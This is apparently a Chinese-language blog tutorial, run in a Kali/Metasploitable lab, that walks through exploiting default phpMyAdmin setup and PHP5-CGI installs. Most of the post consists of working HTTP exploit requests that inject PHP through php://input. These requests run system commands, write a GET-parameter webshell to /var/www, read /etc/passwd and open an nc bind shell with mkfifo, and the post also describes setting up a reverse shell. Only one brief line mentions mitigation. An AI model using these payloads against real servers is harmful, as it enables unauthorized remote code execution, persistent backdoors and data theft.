手动挖掘之默认安装漏洞

phpMyAdmin默认安装漏洞

大家好,欢迎来到我的博客,这是我第一次使用该博客去发表文章,内心激动不已,那么让我们聊聊默认安装带来的安全问题吧.

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

其安装在Web服务器上的接口界面,主要用于使用php来管理安装服务器上的后台数据库(MySQL数据库),但如果采用默认安装,敏感路径未做出处理,便会存在安全漏洞,最突出的是其setup脚本中存在着服务器端请求伪造漏洞。远程攻击者可利用该漏洞执行未授权的操作。

以下版本受到影响:phpMyAdmin 4.0.10.19之前的版本,4.4.15.10之前的4.4.x版本,4.6.6之前的4.6.x版本。

如果目标系统采用php语言搭建的环境,那么可以尝试使用一些扫描软件或者手动爬网去试图发现是否存在phpmyadmin目录.

测试环境:
kali:192.168.128.128/24
Metasploitable:192.168.128.129/24

1,存在phpmyadmin界面:

如果用户未对phpmyadmin目录下的setup文件进行安全处理,那普通用户可以在不进行身份认证的情况下,便可以配置服务器信息(防范措施:不允许其他用户从公网访问phpMyAdmin目录或者禁止访问setup文件)

我们可以通过构造参数执行配置指令,并利用php伪协议提交post内容执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST http://192.168.128.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1      
#问号及其后面的内容用于修改修改php的主配置文件php.ini,从而可以执行下面插入的php代码

Host: 192.168.128.128

Content-Length: 35

<?php

passthru('id');
#passthru() 函数用于调用系统命令,并把命令的运行结果原样地直接输出到标准输出设备上。
#也可以将id命令换成其他Linux命令去获取web系统的数据,目前使用的是普通用户www-date,权限有限

die();
#die() 函数输出一条消息,并退出当前脚本,此处使用为了避免获取多余无用的信息

?>

可以使用Burpsuite的Repeater工具该发送post请求,获取目标的信息
由刚刚的id命令得知目前的用户为www-data,由查看账户信息得知其主目录为/var/www,那么便可以向其主目录写入木马,以实现远程控制的效果

命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST http://192.168.128.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.128.128
Content-Length: 102

<?php

passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" >/var/www/2.php');
#该木马表示将GET方式获取的指令赋值于cmd命令,并使用system()函数运行cmd变量存储的命令
#反斜杠作用:避免服务器将上传内容过滤,输入命令无效
die();

?>

通过在浏览器访问该木马,便可获取目标系统的shell

使用kali中的php脚本获取反弹shell

反弹shell:指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,那么我们就可以在本地使用被攻击主机的命令并且不容易被发现

kali中的PHP的反弹shell为:/usr/share/webshells/php/php-reverse-shell.php
然后编辑php/php-reverse-shell.php,修改ip地址为本机kali的地址,端口号选1024-65535之内任意(1-1023端口已经被系统服务占用)

使用nc命令在本地(kali主机)监听本地1234端口
然后将php-reverse-shell.php的内容粘贴至发送的POST请求中,点击go

Ubuntu/Debain默认安装PHP5-CGI漏洞

其针对Apache/PHP远程代码执行漏洞攻击
该漏洞存在于使用PHP的Apache服务器,在Debian和Ubuntu的服务器上默认安装php5-cgi模块的服务器都存在此漏洞。
程序员可以使用CGI模块在PHP代码中调用操作系统的命令
如果安装了PHP5-CGI,则会在/usr/lib/cgi-bin下面生成两个二进制文件:php和php5

我们发送编码后的参数信息(编码是为了防止服务器过滤信息)去获取目标服务器的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST 
/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Host: 123

Content-Length: 45



<?php

echo system('cat /etc/passwd');

?>


其实将刚刚编码的数据进行解码,可以看到其实就是PHP的参数数据

也可以让服务器主动打开一个端口,然后在本地使用nc去连接
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Host: 123

Content-Length: 86



<?php

echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');

?>


-------------本文结束感谢您的阅读-------------
0%